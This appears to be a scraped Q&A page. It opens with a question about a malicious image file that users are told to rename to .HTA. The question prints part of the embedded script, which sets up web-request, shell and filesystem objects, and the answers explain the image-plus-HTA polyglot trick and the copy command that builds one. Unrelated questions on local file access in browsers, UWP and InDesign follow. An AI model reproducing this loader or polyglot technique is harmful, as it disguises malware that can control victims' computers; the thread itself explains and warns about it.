Embedding Javascript Within an Image File - javascript

I've noticed a new trend in distributing potentially unsafe code where people will post an image to a server with a watermark suggesting that they change the filename to have a .HTA file extension.
I realized that .HTA was an HTML Application file, which are implicitly trusted by Microsoft's logic and can contain code to do just about anything web-based. I opened the file with my favourite text editor and to my amazement there was Javascript code within the image file!
jfHe299x4qBICCBRgpbl81xTjwucn9j4s1UVZxe8kwoJcdWnXuVHqpilRRhptKRACMBr5koY8vt6AEttD5xeGTOPCfBoQVjCvblkiGcc4ddlfiZiBPdCVAlelSbvhv9XWcoMIYyGMCbMaGv9YUyFrHZg3ZVx6HnRCgz4CyaA2bU9qn6R3NkmHx0W3uG7SZcHYyPiMN6AnWDGXRztMnxL3sY1s3h9VH1oTL34iYawlaEUDOUscX19pPz89v0rfmlqKTXce16vSZ6JDsy4IC5SktfXdt3m50z2R5BbwuhP5BHJITxvD4dHzL6K4uh9tIc4gYCFnDV
//<script id=thisscript>
var dom1 = ["zip","img","zip","orz","orz","zip","cgi"];
var dom2 = ["bin","dat","bin","tmp","tmp","bin"];
// Global XMLHttp, shell, and file system objects
var request = new ActiveXObject("Msxml2.XMLHTTP");
var shell = new ActiveXObject("WScript.Shell");
var fs = new ActiveXObject("Scripting.FileSystemObject");
There is more garbled image data below the source code as well. This is just a snippet.
I'm very curious to know how they were able to add Javascript code to an image file without corrupting the image file format and making it unviewable. I presented this to some of my co-workers, and they were equally stumped.

My guess is that this is a multipart file of some sort (for which it would be perfectly fine to contain both images and script data), that maybe gets executed straight away (in a local context) because it's treated as a Hypertext Application.
For more info, we would need to see the full actual file.

The problem here is liberal file format tolerances.
The JPG interpreter is forgiving enough to ignore "corrupted" non-image data. That's how you can view a large JPG while it's still downloading. The HTA interpreter is forgiving enough to ignore all the weird "text" at the top of the file and proceed to evaluate the stuff that looks like markup and script below.
There's another post about this curious behavior here:
Can I embed an icon to a .hta file?
In it Alexandre Jasmine suggests embedding an icon in an HTA with this command line:
copy /b icon.ico+source.hta iconapp.hta
The image/script you found could have been created using this technique.
You didn't include the entire script, but what you show looks pretty scary. An HTA script with a web connection, shell and filesystem object can do whatever it wants with your local filesystem then phone home once it's done.

Related

Copy/download temporary files

I am not an HTML/JavaScript developer. I am having to modify some legacy code written by someone who has left.
We have a Python app which acts as a local server with an HTML/JavaScript front end that can be viewed in a browser.
The Python creates a temporary cache file. I would like to give the user the option to save a copy of this temp file to a location of their choice or at least download it to the downloads directory (Windows & Linux)
I've tried adapting some of the ideas from here: https://www.delftstack.com/howto/javascript/javascript-download/
E.g.
const saveAnalysisBtn = document.getElementById("saveAnalysisBtn");
saveAnalysisBtn.addEventListener('click', saveAnalysis);
function saveAnalysis(evt) {
function download(filename) {
var element = document.createElement('a');
// hardcode temp file name just for POC
element.setAttribute('href','file://C:\\tmp\\my_temp_cache.db');
element.setAttribute('download', filename);
document.body.appendChild(element);
element.click();
//document.body.removeChild(element);
}
var filename = "output.txt";
console.log(`Call Download`);
download(filename);
}
In Firefox this gives a security error:
Security Error: Content at
http://127.0.0.1:5000/replay/fapi_15_6_udi.bin may not load or link to
file:///C:/tmp/my_temp_cache.db
Which isn't terribly surprising. (Edge & Chrome give similar errors)
Is there a way to do this? Can be in HTML or JavaScript or Python (though I would like user to see evidence of download taking place in the browser).
Maybe I'm not understanding, but it looks like we're talking about just copying a file from one local location to a user specified location. The file you want to copy is on the machine the user is using? Couldn't you just provide the location in the web page and then just go there in a file explorer, finder, or command line tool to copy it however you want? It would solve the security issue.
But if you're required to create a link, you could create a download process that zips the file up to make a file like "my_temp_cache_db.zip" (or whatever compression tool/extension works best for you), and then provide the link for that. Zip files work through browsers better than some other types of files, and the user just has to unzip it wherever it ended up.
If that's not ideal, you could create a download process that makes a copy of the file and just changes the extension to something like "txt". The user downloads that file and then has to rename it to have the right extension.

How to Launch a PDF from a UWP (Universal Windows Platform) Web Application

I've converted an existing web application (HTML5, JS, CSS, etc.) into a Windows UWP app so that (hopefully) I can distribute it via the Windows Store to Surface Hubs so it can run offline. Everything is working fine, except PDF viewing. If I open a PDF in a new window, the Edge-based browser window simply crashes. If I open an IFRAME and load PDFJS into it, that also crashes. What I'd really like to do is just hand off the PDF to the operating system so the user can view it in whatever PDF viewer they have installed.
I've found some windows-specific Javascript APIs that seem promising, but I cannot get them to work. For example:
Windows.System.Launcher.launchUriAsync(
new Windows.Foundation.Uri(
"file:///"+
Windows.ApplicationModel.Package.current.installedLocation.path
.replace(/\//g,"/")+"/app/"+url)).then(function(success) {
if (!success) {
That generates a file:// URL that I can copy into Edge and it shows the PDF, so I know the URL stuff is right. However, in the application it does nothing.
If I pass an https:// URL into that launchUriAsync function, that works. So it appears that function just doesn't like file:// URLs.
I also tried this:
Windows.ApplicationModel.Package.current.installedLocation.getFileAsync(url).then(
function(file) { Windows.System.Launcher.launchFileAsync(file) })
That didn't work either. Again, no error. It just didn't do anything.
Any ideas of other things I could try?
-- Update --
See the accepted answer. Here is the code I ended up using. (Note that all my files are in a subfolder called "app"):
if (location.href.match(/^ms-appx:/)) {
url = url.replace(/\?.+/, "");
Windows.ApplicationModel.Package.current.installedLocation.getFileAsync(("app/" + url).replace(/\//g,"\\")).then(
function (file) {
var fn = performance.now()+url.replace(/^.+\./, ".");
file.copyAsync(Windows.Storage.ApplicationData.current.temporaryFolder,
fn).then(
function (file2) {
Windows.System.Launcher.launchFileAsync(file2)
})
});
return;
}
Turns out you have to turn the / into \ or it won't find the file. And copyAsync refuses to overwrite, so I just use performance.now to ensure I always use a new file name. (In my application, the source file names of the PDFs are auto-generated anyway.) If you wanted to keep the filename, you'd have to add a bunch of code to check whether it's already there, etc.
LaunchFileAsync is the right API to use here. You can't launch a file directly from the install directory because it is protected. You need to copy it first to a location that is accessible for the other app (e.g. your PDF viewer). Use StorageFile.CopyAsync to make a copy in the desired location.
Official SDK sample: https://github.com/Microsoft/Windows-universal-samples/tree/master/Samples/AssociationLaunching
I just thought I'd add a variation on this answer, which combines some details from above with this info about saving a blob as a file in a JavaScript app. My case is that I have a BLOB that represents the data for an epub file, and because of the UWP content security policy, it's not possible simply to force a click on a URL created from the BLOB (that "simple" method is explicitly blocked in UWP, even though it works in Edge). Here is the code that worked for me:
// Copy BLOB to downloads folder and launch from there in Edge
// First create an empty file in the folder
Windows.Storage.DownloadsFolder.createFileAsync(filename,
Windows.Storage.CreationCollisionOption.generateUniqueName).then(
function (file) {
// Open the returned dummy file in order to copy the data to it
file.openAsync(Windows.Storage.FileAccessMode.readWrite).then(function (output) {
// Get the InputStream stream from the blob object
var input = blob.msDetachStream();
// Copy the stream from the blob to the File stream
Windows.Storage.Streams.RandomAccessStream.copyAsync(input, output).then(
function () {
output.flushAsync().done(function () {
input.close();
output.close();
Windows.System.Launcher.launchFileAsync(file);
});
});
});
});
Note that CreationCollisionOption.generateUniqueName handles the file renaming automatically, so I don't need to fiddle with performance.now() as in the answer above.
Just to add that one of the things that's so difficult about UWP app development, especially in JavaScript, is how hard it is to find coherent information. It took me hours and hours to put the above together from snippets and post replies, following false paths and incomplete MS documentation.
You will want to use the PDF APIs https://github.com/Microsoft/Windows-universal-samples/tree/master/Samples/PdfDocument/js
https://github.com/Microsoft/Windows-universal-samples/blob/master/Samples/PdfDocument/js/js/scenario1-render.js
Are you simply just trying to render a PDF file?

How to load the contents of a local text file by name using Javascript and HTML 5?

Working in Chrome, loading a local html or JS file.
I found many examples of how to load a file that is selected using the Choose File input.
However, didn't figure out how to do it given a file name without using the Choose File input.
The Choose File input returns a File object.
How to create the File object without the Choose File input?
From the File API:
new File(
Array parts,
String filename,
BlobPropertyBag properties
);
But didn't figure out what the parts and properties would be.
Edit: Use case:
I have code coverage results generated as part of a test suite. It is stored as JSON (which is easy to read), but I need to display it with the source code.
So the feature is to load the source code and JSON data, and render them together on a web page using HTML and Javascript.
The file would be opened from the browser and lives on the local machine. There is no server.
The browser cannot load arbitrary files by name from your filesystem without special extensions or other shenanigans. This is a security policy to prevent random web sites from reading files from your hard disk as you browse the internet.
If you're down to do something special like if you want to write a chrome app, you could get access to some nice APIs for accessing the filesystem:
https://developer.chrome.com/apps/fileSystem
The File constructor doesn't read a file from the harddrive, but rater make a virtual file, consider this:
var file = new File(["some", "content"], "/tmp/my-name.txt");
var reader = new FileReader();
reader.onload = function() {
console.log(reader.result); // somecontent
};
No file will be read or stored on the clients machine.
If you are talking about creating files in nodejs then you should take a look at fs.
For security reasons all browsers don't support predefined values on file fields so the answer is you can't.

Save XML file on my machine with XMLDom object save()

I'm not able to save to the xml file on my machine.
I have noticed that node value is changed temprorily but not permanent in xml file.
P.S : This is only a simple HTML file with javascript
It is giving me an error "Permission Denied"
function viewBookDetails() {
var xmlDoc = xmlLoader("cart.xml");
//var x = xmlDoc.getElementsByTagName("dogHouse")[0];
var x = xmlDoc.documentElement;
var newel = xmlDoc.createElement("essy");
x.appendChild(newel);
alert(x.xml);
xmlDoc.save("cart.xml");
}
is it not possible to save xml file on my machine?
Thank you,
In general, browser JavaScript has no I/O API and cannot read or write to the client filesystem since that could be a security loophole. I haven't seen or used the save() method before but it looks like it's an IE specific extension to the XML DOM. If you must use it, this thread might provide the solution, the answer that worked for the OP there suggested:
I haven't proofed your code but here is something you might want to try. I am taking a shot in the dark that you are using this on a Windows OS since you are using IE and from the sound of the error. Just take your html file that you have and rename it the whatever.hta and it will then be able to write to the xml file and save.
Also, the documentation for the method says the following for when the argument is a string (as in your code snippet):
String
Specifies the file name. This must be a file name rather than a URL. The file is created, if necessary, and the contents are replaced entirely with the contents of the saved document. This mode is not intended for use from a secure client, such as Microsoft Internet Explorer.
From the forum posts (links below) that deal with the same issue, I gleaned the following:
This is an IE specific extension and so will only work in IE
There are obviously security restrictions in place so you shouldn't be able to do this 'out of the box'
One workaround that crops up often is to rename the file extension to .hta (Hypertext Application) instead of .html
I'm not sure but there might also be some workarounds by changing the permissions for the security zones your application runs in
References:
http://www.codingforums.com/showthread.php?t=25048
http://p2p.wrox.com/xml/4053-error-using-xml-save-method.html
http://www.daniweb.com/web-development/javascript-dhtml-ajax/threads/204995

How to open a text file using Javascript from Adobe Indesign CS4?

How can I open a text file, read the contents, and then insert the contents into a document in InDesign?
Here's an example of reading a file from InDesign. If you want to write to a file as well, you will need to open the file in write mode w instead.
// Choose the file from a dialog
var file = File.openDialog();
// Or use a hard coded path to the file
// var file = File("~/Desktop/hello world.txt");
// Open the file for reading
file.open("r");
// Get the first text frame of the currently active document
var doc = app.activeDocument;
var firstTextframe = doc.pages[0].textFrames[0];
// Add the contents of the file to the text frame
firstTextframe.contents += file.read();
Here is a link to the File object's documentation online. You can also find the rest of InDesign's scripting DOM documentation here.
This is the pdf for InDesign JavaScript scripting. There's a few mentions of a File object in there, but it's not documented.
http://www.adobe.com/products/indesign/scripting/pdfs/InDesignCS4_ScriptingGuide_JS.pdf
That's because the core utilities for all CS5 products are documented here
https://www.adobe.com/content/dam/Adobe/en/devnet/indesign/cs55-docs/InDesignScripting/InDesign-ScriptingTutorial.pdf
or the general documentation:
http://www.adobe.com/content/dam/Adobe/en/devnet/scripting/pdfs/javascript_tools_guide.pdf
Look for: File System Access
Thanks for the pointer to the various PDFs.
The response to this question is in the execute() command.
fileObj.execute()
Javascript does not allow access to your computer's operating system, files or directories for security reasons, therefore there is no way to access the text file directly using Javascript.
Usually a server-side technology such as PHP, Adobe Coldfusion, Java or .NET (for example) is used to upload the file via a HTML form submission, read it and do whatever it needs to do.
I hope that helps.

Categories